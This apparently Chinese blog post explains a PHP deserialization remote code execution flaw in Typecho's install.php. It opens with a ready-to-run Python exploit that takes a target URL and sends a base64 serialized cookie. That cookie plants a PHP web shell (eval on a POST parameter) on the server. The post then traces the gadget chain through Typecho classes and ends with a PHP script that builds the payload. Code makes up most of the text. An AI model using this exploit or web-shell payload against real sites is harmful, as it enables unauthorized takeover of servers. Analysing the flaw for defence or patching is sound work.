Typecho Install.php 任意代码执行

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding=UTF-8

import requests
import optparse


def exp(request_url):
url = request_url+"/install.php?finish=1"
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, compress',
'Accept-Language': 'en-us;q=0.5,en;q=0.3',
'Cache-Control': 'max-age=0',
'Referer':request_url+'/install.php',
'Connection': 'close',
'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdrZXkucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtwYXNzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==',
#'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo0OiJldmFsIjt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0'}
s = requests.Session()
s.headers.update(headers)
z = s.get(url=url)
print z.content

parser = optparse.OptionParser("usage%prog" + "-u <target url>")
parser.add_option('-u', dest = 'tgturl', type = 'string', help = "please scand url.")
(options,args) = parser.parse_args()
tgturl = options.tgturl
exp(tgturl)

原理

这是一个PHP序列化的漏洞

原因出在网站根目录下install.php里

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
......
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
......
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这里可以看出,只要存在finish,并且__typecode_config的cookie存在,就可以对base64加密过的cookie进行序列化。
下面又把config里的adapter和prefix使用Typecho_Db进行实例化,并且调用了addServer的方法,下面,我们进入Typecho_Db瞄一瞄:
当然序列化后的对象,我们无法直接调用方法,所以,我们必须找一些能特殊调用的方法,比如构造函数,析构函数之类的,
这里,我们在Db.php中对象的构造函数下发现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

这里存在一个$adapterName字符串进行了拼接,所以就能触发string()方法
我们可以全局搜素
toString()方法,观察有没有我们需要的:

我们发现了这里存在问题:

1
2
3
4
5
6
7
8
9
10
11
12
   public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

if (self::RSS1 == $this->_type) {
......
} else if (self::ATOM1 == $this->_type) {
......
foreach ($this->_items as $item) {
......
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>

到这里,我们知道item[‘author’]中screenName的键值如果不可访问,就会触发__get()函数
我们再去寻找get函数:

我们寻找到一个request的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function __get($key)
{
return $this->get($key);
}
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

这里对_params属性进行赋值,把结果传入value,最后返回_applyFilter($value),我们跟到这个函数里看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

这里就比较的清晰明了了,array_map()可以把数组中的每个值发送到用户自定义函数,返回新的值。call_user_func 可以把第一个参数作为回调函数调用,也就是说,都可以命令执行,由于我们第二个参数是数组,所以,我们不能使用eval,那我们就使用assert来实现命令执行,最后,构造整个的序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_items = array();

public function addItem(array $item){
$this->_items[] = $item;
}
}

class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'key.php\', \'<?php @eval($_POST[pass]);?>\')');
private $_filter = array('assert');
}

$zz = new Typecho_Feed();
$hh = new Typecho_Request();
$zz->addItem(array('author' => $hh));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

最后,得到的就是结果了。
实现一下:

感谢老爷打赏
显示 Gitment 评论
undefined